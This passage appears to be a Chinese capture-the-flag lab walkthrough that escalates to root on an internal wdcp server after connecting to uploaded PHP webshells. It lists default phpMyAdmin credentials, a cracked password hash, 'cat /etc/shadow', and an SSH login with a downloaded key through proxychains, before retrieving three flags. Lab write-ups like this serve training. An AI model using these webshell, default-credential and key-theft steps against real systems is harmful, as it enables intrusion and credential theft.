http://www.ddd5.com/content/templates/moonsec/mmm.php

将其添加后可以看到正常连接,在文件系统内可以看到前面上传的上传的模板内的三个PHP马。

在虚拟终端内查看当前的权限。发现仅为普通权限。

🌞10.内网提权

利用浏览器直接访问10.10.10.144的80端口。可以发现是一个wdcp的管理系统,暴露出了端口及用户名和密码。

10.10.10.144:80

对前面看到的暴漏的信息进行访问后尝试登录,访问8080端口后输入用户名和密码,可惜没有验证通过。

10.10.10.144:8080

回到前面的页面内继续查看有无可用信息。

可以看到有一个探针和一个phpinfo,将二者分别打开并查看。可以从下面看到均可以正常进行访问,这些文件均有助于进行提权。

探针信息如下。

phpinfo信息如下。

继续思考,想到wdcp有一个默认的phpmyadmin的目录,尝试对其访问,使用默认用户名和密码尝试登录。

用户名:root
密码:wdlinux.cn

可以看到未修改默认密码,成功进行了登录。

其member表内的用户名和密码就是前面10.10.10.144:8080页面内的用户名和密码。这里密码是被加密的。

admin
17d03da6474ce8beb13b01e79f789e63

现在只需要将密码的密文进行解密或者替换掉就都可以实现登录。

优先尝试进行解密,可以看到成功解密出了明文。

解密地址:https://www.somd5.com/
明文密码:moonsec123

回到10.10.10.144:8080页面内用解密出来的密码进行登录,但是提示登录超时。

点击提交后立马弹窗登录超时,一般这种情况应该是目标机的时间不是北京时间所导致的。

利用蚁剑来查看靶机当前时间,可以看到和kali的时间相差一小时。

date -R

修改kali的本地时间来模拟靶机时间。

修改完成后再次尝试登录,可以看到登录成功。

进入后台后继续寻找漏洞,在系统管理内看到了运行命令模块,执行id命令查看当前权限,发现是root权限。

查看shadow文件,发现也是可以查看的。

cat /etc/shadow

尝试在此反弹shell,但是因为检测到了危险函数被拦截了。

继续查看其它模块,发现在“ssh管理”模块内可以生成并下载ssh密钥。

将下载下来的密钥移动到最初建立的“ddd4”目录内。

执行下面命令修改密钥权限,让背后利用代理工具执行ssh命令进行登录。发生了错误登录失败了。

chmod 600 sshkey_wdcp
proxychains4 ssh root@10.10.10.144 -i sshkey_wdcp

查看错误原因得知是因为在和本地 127.0.0.1 的 2333 端口(kali端)进行协商时出现了问题,具体原因是找不到匹配的主机密钥类型。因为靶机端提供的密钥类型是ssh-rsa和ssh-dss,而kali内的SSH客户端配置不支持这两种密钥类型来进行连接协商,所以导致连接最终无法成功建立。

通过更新SSH配置来支持相应密钥类型,在ssh的配置文件内添加下面的内容,添加完成后按esc然后输入“:wq!”保存退出即可。

vim /etc/ssh/ssh_config
HostKeyAlgorithms +ssh-rsa,ssh-dss
PubkeyAcceptedKeyTypes +ssh-rsa,ssh-dss

再次尝试进行登录,可以看到这次登录成功了,验证得知是root权限,内网服务器提权成功!👏👏👏

proxychains4 ssh root@10.10.10.144 -i sshkey_wdcp

🌞11.寻找flag

🌕flag one

通过前面获取到的ssh连接查看内网服务器当前目录下的文件信息。

看到存在一个root.txt,查看该文件即可获得第一个flag。

🌕flag two

找到前面获取到的web服务器的root权限的shell。

执行“cd ~”命令回到当前root用户的主目录下

可以看到存在一个root.txt,查看该文件即可获得第二个flag。

🌕flag three

利用当前shell进入到/home/host123目录下。

可以看到存在一个flag.txt,查看该文件即可获得第三个flag。

😋至此本次操作全部结束!  😋 

更多推荐